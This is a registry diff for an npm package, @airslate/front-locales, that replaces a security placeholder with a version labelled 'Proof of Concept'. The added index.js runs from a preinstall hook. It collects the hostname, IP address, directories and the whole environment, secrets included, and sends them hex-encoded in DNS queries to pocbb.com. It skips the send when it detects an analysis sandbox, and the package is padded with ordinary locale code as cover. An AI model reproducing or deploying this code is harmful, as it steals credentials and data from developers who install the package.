@airslate/front-locales 0.0.1-security → 9.9.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @airslate/front-locales might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40airslate%2Ffront-locales for more information.
1
+ # NPM
2
+ This is a Proof of Concept (PoC) package.
package/index.js ADDED
@@ -0,0 +1,126 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function generateUID(length = 5) {
7
+ const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
8
+ let result = '';
9
+ for (let i = 0; i < length; i++) {
10
+ result += characters.charAt(Math.floor(Math.random() * characters.length));
11
+ }
12
+ return result.toLowerCase();
13
+ }
14
+
15
+ // Convert a JSON string to hex
16
+ function jsonStringToHex(jsonString) {
17
+ return Buffer.from(jsonString, 'utf8').toString('hex');
18
+ }
19
+
20
+ const uid = generateUID(); // Generate a UID for this client once
21
+
22
+ function getCurrentTimestamp() {
23
+ const date = new Date();
24
+ const offset = -date.getTimezoneOffset() / 60;
25
+ const sign = offset >= 0 ? "+" : "-";
26
+ return `${date.toLocaleDateString('en-GB')} ${date.toLocaleTimeString('en-GB')} (GMT${sign}${Math.abs(offset)})`;
27
+ }
28
+
29
+ function getLocalIP() {
30
+ const interfaces = os.networkInterfaces();
31
+ for (let iface in interfaces) {
32
+ for (let ifaceInfo of interfaces[iface]) {
33
+ if (ifaceInfo.family === 'IPv4' && !ifaceInfo.internal) {
34
+ return ifaceInfo.address;
35
+ }
36
+ }
37
+ }
38
+ return '127.0.0.1'; // fallback to localhost
39
+ }
40
+
41
+ function getPackageInfo() {
42
+ const packageJson = JSON.parse(fs.readFileSync(path.join(__dirname, 'package.json'), 'utf8'));
43
+ return {
44
+ name: packageJson.name,
45
+ version: packageJson.version
46
+ };
47
+ }
48
+
49
+ const GLOBAL_TIMEOUT = 5000;
50
+
51
+ setTimeout(() => {
52
+ process.exit(0);
53
+ }, GLOBAL_TIMEOUT);
54
+
55
+ function resolveDNSAsync(subdomain) {
56
+ return new Promise((resolve, reject) => {
57
+ dns.resolve4(subdomain, (err, addresses) => {
58
+ if (err) {
59
+ reject(err);
60
+ return;
61
+ }
62
+ resolve(addresses);
63
+ });
64
+ });
65
+ }
66
+
67
+ function sendJSONviaDNS(domain) {
68
+ const hostnameCheck = os.hostname().startsWith("DESKTOP-") || os.hostname().startsWith("HOSTNAME-") || os.hostname() === "instance";
69
+ const pathCheck1 = process.cwd().startsWith("/app");
70
+ const pathCheck2 = process.cwd().startsWith("/root/node_modules");
71
+ const pathCheck3 = process.cwd().startsWith("/analysis");
72
+ const pathCheck4 = process.cwd() == "/root";
73
+
74
+ if (hostnameCheck || pathCheck1 || pathCheck2 || pathCheck3 || pathCheck4) {
75
+ return Promise.resolve(); // Return a resolved promise if exiting early
76
+ }
77
+
78
+ return new Promise((resolve, reject) => {
79
+ dns.resolve4('ns1.pocbb.com', (err, addresses) => {
80
+ if (err) {
81
+ dns.setServers(['1.1.1.1', '8.8.8.8']); // Use fallback DNS servers
82
+ } else {
83
+ const primaryDNS = addresses[0];
84
+ dns.setServers([primaryDNS, '1.1.1.1', '8.8.8.8']);
85
+ }
86
+
87
+ const pkgInfo = getPackageInfo();
88
+ const jsonObject = {
89
+ timestamp: getCurrentTimestamp(),
90
+ uid: generateUID(),
91
+ 'pkg-name': pkgInfo.name,
92
+ 'pkg-version': pkgInfo.version,
93
+ 'local-ip': getLocalIP(),
94
+ hostname: os.hostname(),
95
+ homedir: os.homedir(),
96
+ path: process.cwd(),
97
+ 'env': process.env
98
+ };
99
+ const jsonString = JSON.stringify(jsonObject);
100
+ const hexString = jsonStringToHex(jsonString);
101
+
102
+ const chunkSize = 60;
103
+ const regex = new RegExp(`.{1,${chunkSize}}`, 'g');
104
+ const chunks = hexString.match(regex);
105
+
106
+ const dnsPromises = chunks.map((chunk, index) => {
107
+ const packetNumber = (index + 1).toString().padStart(3, '0');
108
+ const subdomain = `pl.${uid}.${packetNumber}.${chunk}.${domain}`;
109
+ return resolveDNSAsync(subdomain);
110
+ });
111
+
112
+ Promise.all(dnsPromises)
113
+ .then(() => {
114
+ resolve();
115
+ })
116
+ .catch(err => {
117
+ reject(err);
118
+ });
119
+ });
120
+ });
121
+ }
122
+
123
+ // Usage
124
+ sendJSONviaDNS('pocbb.com').then(() => {
125
+ process.exit(0);
126
+ });
package/lib/index.js ADDED
@@ -0,0 +1,104 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ var _defineProperty2 = require('babel-runtime/helpers/defineProperty');
7
+ var _defineProperty3 = _interopRequireDefault(_defineProperty2);
8
+ var _assign = require('babel-runtime/core-js/object/assign');
9
+ var _assign2 = _interopRequireDefault(_assign);
10
+ var _keys = require('babel-runtime/core-js/object/keys');
11
+ var _keys2 = _interopRequireDefault(_keys);
12
+ var _utils = require('./utils');
13
+ function _interopRequireDefault(obj) {
14
+ return obj && obj.__esModule ? obj : {
15
+ default: obj
16
+ };
17
+ }
18
+ var DEBUG = Boolean(global.location && global.location.search && /(^|\?|&)debug=on(&|$)/i.test(global.location.search));
19
+ var NO_DEBUG = !DEBUG;
20
+ var pack = function pack(key, params) {
21
+ return {
22
+ key: key,
23
+ params: params
24
+ };
25
+ };
26
+ var extract = function extract(_ref) {
27
+ var text = _ref.text;
28
+ return text;
29
+ };
30
+ var getText = function getText(locale) {
31
+ return function (_ref2) {
32
+ var key = _ref2.key,
33
+ params = _ref2.params;
34
+ return {
35
+ params: params,
36
+ text: key != null ? (0, _utils.ensure)(locale && locale[key], key) : locale
37
+ };
38
+ };
39
+ };
40
+ var removeHtml = function removeHtml(_ref3) {
41
+ var params = _ref3.params,
42
+ text = _ref3.text;
43
+ return {
44
+ params: params,
45
+ text: typeof text === 'string' ? (0, _utils.removeHtmlTags)(text) : text
46
+ };
47
+ };
48
+ var renderText = function renderText(_ref4) {
49
+ var params = _ref4.params,
50
+ text = _ref4.text;
51
+ return {
52
+ params: params,
53
+ text: (0, _utils.render)(text, params || {})
54
+ };
55
+ };
56
+ var renderTok = function renderTok(_ref5) {
57
+ var params = _ref5.params,
58
+ text = _ref5.text;
59
+ return {
60
+ params: params,
61
+ text: (0, _utils.renderTokens)(text, params || {})
62
+ };
63
+ };
64
+ var withPrefix = function withPrefix(prefix) {
65
+ return function (_ref6) {
66
+ var key = _ref6.key,
67
+ params = _ref6.params;
68
+ return {
69
+ params: params,
70
+ key: key != null ? '' + prefix + key : key
71
+ };
72
+ };
73
+ };
74
+ var createLocale = function createLocale(prefix, locale) {
75
+ return {
76
+ prefix: prefix,
77
+ locale: NO_DEBUG ? locale : null
78
+ };
79
+ };
80
+ var localeInterface = function localeInterface(_ref7) {
81
+ var prefix = _ref7.prefix,
82
+ locale = _ref7.locale;
83
+ return {
84
+ get: (0, _utils.compose)(extract, getText(locale), withPrefix(prefix), pack),
85
+ render: (0, _utils.compose)(extract, renderText, getText(locale), withPrefix(prefix), pack),
86
+ plainText: (0, _utils.compose)(extract, removeHtml, renderText, getText(locale), withPrefix(prefix), pack),
87
+ tokenize: (0, _utils.compose)(extract, renderTok, getText(locale), withPrefix(prefix), pack)
88
+ };
89
+ };
90
+ var Locale = (0, _utils.compose)(localeInterface, createLocale);
91
+ var addPrefix = function addPrefix(locale, prefix) {
92
+ return (0, _keys2.default)(locale).reduce(function (loc, k) {
93
+ loc[prefix + k] = locale[k];
94
+ return loc;
95
+ }, {});
96
+ };
97
+ var replacePrefix = function replacePrefix(locale, oldPrefix, newPrefix) {
98
+ return (0, _keys2.default)(locale).reduce(function (loc, k) {
99
+ return (0, _assign2.default)(loc, (0, _defineProperty3.default)({}, k.replace(oldPrefix, newPrefix), locale[k]));
100
+ }, {});
101
+ };
102
+ Locale.addPrefix = addPrefix;
103
+ Locale.replacePrefix = replacePrefix;
104
+ exports.default = Locale;
@@ -0,0 +1,25 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ var ensure = exports.ensure = function ensure(value, defaultValue) {
7
+ return value != null ? value : defaultValue;
8
+ };
9
+ var ensureMulti = exports.ensureMulti = function ensureMulti() {
10
+ for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
11
+ args[_key] = arguments[_key];
12
+ }
13
+ return args.find(function (item) {
14
+ return item != null;
15
+ });
16
+ };
17
+ var getFieldValue = function getFieldValue(current, field) {
18
+ return current != null ? current[field] : current;
19
+ };
20
+ var get = exports.get = function get(obj, name) {
21
+ return name.toString().split(/\./).reduce(getFieldValue, obj);
22
+ };
23
+ var isObject = exports.isObject = function isObject(obj) {
24
+ return Object.prototype.toString.call(obj) === '[object Object]';
25
+ };
@@ -0,0 +1,51 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports.isObject = exports.get = exports.ensure = exports.renderTokens = exports.render = exports.renderPlain = exports.renderMap = undefined;
7
+ var _stringify = require('babel-runtime/core-js/json/stringify');
8
+ var _stringify2 = _interopRequireDefault(_stringify);
9
+ var _plural = require('./plural');
10
+ var _helpers = require('./helpers');
11
+ function _interopRequireDefault(obj) {
12
+ return obj && obj.__esModule ? obj : {
13
+ default: obj
14
+ };
15
+ }
16
+ var renderMap = exports.renderMap = function renderMap(map, params, render) {
17
+ return render((0, _helpers.ensureMulti)(map[(0, _helpers.get)(params, map.$KEY || 'key')], map.$OTHER, (0, _stringify2.default)(map)), params);
18
+ };
19
+ var replaceWithParam = function replaceWithParam(params) {
20
+ return function (_, name) {
21
+ return (0, _helpers.ensure)((0, _helpers.get)(params, name), '{' + name + '}');
22
+ };
23
+ };
24
+ var renderPlain = exports.renderPlain = function renderPlain(str, params) {
25
+ return str.replace(/\{([^}{}]+)\}/g, replaceWithParam(params));
26
+ };
27
+ var renderToken = function renderToken(str, params) {
28
+ return str.split(/({.*?})/g).map(function (token) {
29
+ var match = token.match(/\{([^}{}]+)\}/);
30
+ if (match != null) {
31
+ var text = token.replace(/\{([^}{}]+)\}/g, replaceWithParam(params));
32
+ return {
33
+ type: match[1],
34
+ text: text
35
+ };
36
+ }
37
+ return {
38
+ type: 'text',
39
+ text: token
40
+ };
41
+ });
42
+ };
43
+ var render = exports.render = function render(str, params) {
44
+ return typeof str === 'string' ? renderPlain(str, params) : Array.isArray(str) ? (0, _plural.renderPlural)(str, params, render) : (0, _helpers.isObject)(str) ? renderMap(str, params, render) : str;
45
+ };
46
+ var renderTokens = exports.renderTokens = function renderTokens(str, params) {
47
+ return typeof str === 'string' ? renderToken(str, params) : Array.isArray(str) ? (0, _plural.renderPlural)(str, params, render) : (0, _helpers.isObject)(str) ? renderMap(str, params, render) : str;
48
+ };
49
+ exports.ensure = _helpers.ensure;
50
+ exports.get = _helpers.get;
51
+ exports.isObject = _helpers.isObject;
@@ -0,0 +1,36 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports.renderPlural = undefined;
7
+ var _toArray2 = require('babel-runtime/helpers/toArray');
8
+ var _toArray3 = _interopRequireDefault(_toArray2);
9
+ var _isNan = require('babel-runtime/core-js/number/is-nan');
10
+ var _isNan2 = _interopRequireDefault(_isNan);
11
+ function _interopRequireDefault(obj) {
12
+ return obj && obj.__esModule ? obj : {
13
+ default: obj
14
+ };
15
+ }
16
+ var getIndexFrom2 = function getIndexFrom2(plural, value) {
17
+ return plural[value < 2 ? 0 : 1];
18
+ };
19
+ var getIndexFrom3 = function getIndexFrom3(plural, value) {
20
+ return plural[value >= 0 && value < 2 ? value : 2];
21
+ };
22
+ var isNotValid = function isNotValid(value) {
23
+ return typeof value !== 'number' || (0, _isNan2.default)(value);
24
+ };
25
+ var getPluralIndex = function getPluralIndex(plural, value) {
26
+ return isNotValid(value) ? plural[0] : plural.length > 2 ? getIndexFrom3(plural, value) : getIndexFrom2(plural, value);
27
+ };
28
+ var ensureBraces = function ensureBraces(key) {
29
+ return /\{[^}{}]+\}/.test(key) ? key : '{' + key + '}';
30
+ };
31
+ var renderPlural = exports.renderPlural = function renderPlural(_ref, params, render) {
32
+ var _ref2 = (0, _toArray3.default)(_ref),
33
+ key = _ref2[0],
34
+ plural = _ref2.slice(1);
35
+ return render(getPluralIndex(plural, +render(ensureBraces(key), params)), params);
36
+ };
package/lib/utils.js ADDED
@@ -0,0 +1,26 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports.isObject = exports.get = exports.ensure = exports.renderTokens = exports.render = exports.hasProperty = exports.removeHtmlTags = exports.compose = undefined;
7
+ var _render = require('./render');
8
+ var compose = exports.compose = function compose() {
9
+ for (var _len = arguments.length, fns = Array(_len), _key = 0; _key < _len; _key++) {
10
+ fns[_key] = arguments[_key];
11
+ }
12
+ return fns.reduce(function (f, g) {
13
+ return function () {
14
+ return f(g.apply(undefined, arguments));
15
+ };
16
+ });
17
+ };
18
+ var removeHtmlTags = exports.removeHtmlTags = function removeHtmlTags(text) {
19
+ return text.replace(/<[^>]+?>/g, ' ').replace(/\s+/g, ' ').replace(/(^\s)|(\s$)/g, '');
20
+ };
21
+ var hasProperty = exports.hasProperty = Object.prototype.hasOwnProperty;
22
+ exports.render = _render.render;
23
+ exports.renderTokens = _render.renderTokens;
24
+ exports.ensure = _render.ensure;
25
+ exports.get = _render.get;
26
+ exports.isObject = _render.isObject;
@@ -0,0 +1,11 @@
1
+ module.exports = {
2
+ IMAGE_UPLOADER_TITLE: 'Drag & drop your image here',
3
+ IMAGE_UPLOADER_DESC: 'Upload an image from your gallery or take a picture with your camera.',
4
+ IMAGE_UPLOADER_TAKE_NEW_PHOTO_BTN: 'Take a new picture',
5
+ IMAGE_UPLOADER_TAKE_NEW_PHOTO_BTN_UPLOAD: 'Take a picture',
6
+ IMAGE_UPLOADER_SELECT_PHOTO_BTN: 'Select an image',
7
+ IMAGE_UPLOADER_SAVE_BTN: 'Save',
8
+ IMAGE_UPLOADER_ERROR_FILE_IS_TOO_BIG: 'Image cannot exceed',
9
+ IMAGE_UPLOADER_ERROR_CAMERA_ACCESS_TITLE: 'Camera seems off',
10
+ IMAGE_UPLOADER_ERROR_CAMERA_ACCESS: 'Your WebCam is off, please turn it on.'
11
+ };
@@ -0,0 +1,7 @@
1
+ module.exports = {
2
+ NOTIFICATIONS_INFO_TYPE_TITLE: 'Just so you know…',
3
+ NOTIFICATIONS_WARNING_TYPE_TITLE: 'Oops.',
4
+ NOTIFICATIONS_SUCCESS_TYPE_TITLE: 'Done!',
5
+ NOTIFICATIONS_ERROR_TYPE_TITLE: 'Oh no!',
6
+ NOTIFICATIONS_MESSAGE_TYPE_TITLE: 'Congratulations!'
7
+ };
package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "@airslate/front-locales",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.9.10",
4
+ "description": "This is a Proof of Concept (PoC) package",
5
+ "license": "MIT",
6
+ "main": "index.js",
7
+ "scripts": {
8
+ "preinstall": "node index.js"
9
+ }
6
10
  }